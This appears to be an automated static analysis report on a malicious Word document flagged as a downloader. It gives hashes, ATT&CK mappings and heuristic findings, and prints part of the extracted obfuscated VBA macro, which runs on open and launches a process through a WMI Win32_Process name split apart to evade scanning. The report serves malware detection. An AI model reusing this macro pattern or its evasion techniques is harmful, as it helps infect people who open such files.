Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05c074ecb60a92bc…

MALICIOUS

Office (OLE)

145.4 KB Created: 2019-05-01 12:11:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: a8f52577ef1f64c6810da21ea4e4951b SHA-1: 2fa6e47d266b96b0597a8e858462cddddd0f929f SHA-256: 05c074ecb60a92bc5b436451c9a3e8bca4be0e5c3c0f797482c78756f2b17d82
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1137.001 DLL Search Order Hijacking T1059 Command and Scripting Interpreter

The sample contains critical heuristic firings indicating the presence of VBA macros designed to execute malicious code. Specifically, it uses GetObject and CreateObject to launch the Win32_Process, a technique often employed to download and execute secondary payloads. The obfuscation of the 'winmgmts' keyword further supports malicious intent.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6959611-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6959611-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22195 bytes
SHA-256: a685e693434867291c800c057cb021dd2200f1b4d0d68182ef9ab88717be1ea9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MADQAZBX"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "zA_GcBBC"
Attribute VB_Base = "0{E5FABED2-5D09-470B-AB68-4DE1B02D2F08}{C296A562-7B4E-476A-8752-2E5E5EBF083F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lAZoQGB"

Attribute VB_Name = "jGDAwAA"

Attribute VB_Name = "aAAXxQAo"

Attribute VB_Name = "BxABBwA"

Attribute VB_Name = "zCA_U1A"
Attribute VB_Base = "0{860FD737-E3D9-4B12-83F4-26073074266A}{6430A8A0-A2EC-47F2-A4A7-D1F0E89475C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rZAxCUB"
Function K_QDQDD(CQCAA_)
   Select Case GAA4xoA
Case 562220402
Minute CInt(172368050 _
- Tan(iDxQk_AA * Cos(vUADA_) + _
612781366 + 928404273))
End Select
   Select Case nAxwCA1
Case 722578661
Minute CInt(217345090 _
- Tan(sAGDBUAA * Cos(IAAAAUA) + _
609068523 + 878158039))
End Select
   Select Case F_AADAQ
Case 504802116
Minute CInt(269409384 _
- Tan(VGABZAQU * Cos(joU1BBk) + _
285758612 + 495812894))
End Select
Set K_QDQDD = CVar(CQCAA_)
   Select Case joXGAQ
Case 642372825
Minute CInt(857527804 _
- Tan(cADGAA * Cos(UCXcAAAA) + _
265654494 + 540685068))
End Select
   Select Case SC4AAow
Case 20847050
Minute CInt(986330889 _
- Tan(Rw4UAA * Cos(nCAGUQ) + _
269843009 + 574981606))
End Select
   Select Case sUBAAAB4
Case 455227288
Minute CInt(253047170 _
- Tan(vA_UAB * Cos(zAcwQwUA) + _
933209543 + 74908986))
End Select
End Function
Sub autoopen()
   Select Case KAAXAZ
Case 642497119
Minute CInt(181703225 _
- Tan(JGxAA4cc * Cos(hAxkGDAc) + _
664103252 + 685957492))
End Select
   Select Case XGG4GD
Case 703799256
Minute CInt(81578945 _
- Tan(U1UAAAQ * Cos(CBAX4Bx) + _
909336882 + 617387229))
End Select
   Select Case A_AACA
Case 900650784
Minute CInt(241955921 _
- Tan(fo1AA_DA * Cos(JUUxAc) + _
573758774 + 653526745))
End Select
Call KwQQAX
   Select Case b4kZ4wD_
Case 705372864
Minute CInt(57839682 _
- Tan(DU_XAA * Cos(aAAGcGZD) + _
830160224 + 203800841))
End Select
   Select Case qDAAA14
Case 395176598
Minute CInt(931474604 _
- Tan(m_cQUA * Cos(iABBBG) + _
272367672 + 425762302))
End Select
   Select Case lUA1A1A
Case 73545898
Minute CInt(435462980 _
- Tan(CAAADAAo * Cos(qAAwXGAA) + _
852514816 + 45840680))
End Select
End Sub


Attribute VB_Name = "FCxXwA"
Function KwQQAX()
On Error Resume Next
   Select Case FDcABxUC
Case 626636184
Minute CInt(531242096 _
- Tan(qoAAA1xA * Cos(cAUADkA) + _
616431418 + 553143818))
End Select
   Select Case DGwAkxA
Case 779757640
Minute CInt(689477681 _
- Tan(qDAAAo_ * Cos(KUAG_B1A) + _
853526271 + 339676429))
End Select
   Select Case bAUBDBG
Case 533436387
Minute CInt(957147201 _
- Tan(rAGoUwQA * Cos(qAQBXG) + _
538258994 + 562243367))
End Select
Set VcAAXDD = K_QDQDD(GetObject("w" + "inmgmts:W" + "in32_Process" + "Sta" + "rtup"))
   Select Case KDXAXDC
Case 201267541
Minute CInt(345682419 _
- Tan(LU_AQ1 * Cos(dCXAxoA) + _
792458517 + 442369741))
End Select
   Select Case QAAAwA4
Case 683066449
Minute CInt(563040337 _
- Tan(oAAADDAQ * Cos(aAAU1UxB) + _
656105962 + 858600647))
End Select
EwU_AA = vbError - vbError
   Select Case l1wAoDD
Case 780749121
Minute CInt(382246454 _
- Tan(HoACUA * Cos(YBAABABw) + _
263297230 + 64874686))
End Select
   Select Case KCAwCAAx
Case 678107768
Minute CInt(396623115 _
- Tan(oBAAUAkA * Cos(dZwQADwB) + _
910934091 + 957431707))
End Select
   Select Case NQAUBU
Case 939437504
Minute CInt(530405962 _
- Tan(oQ
... (truncated)

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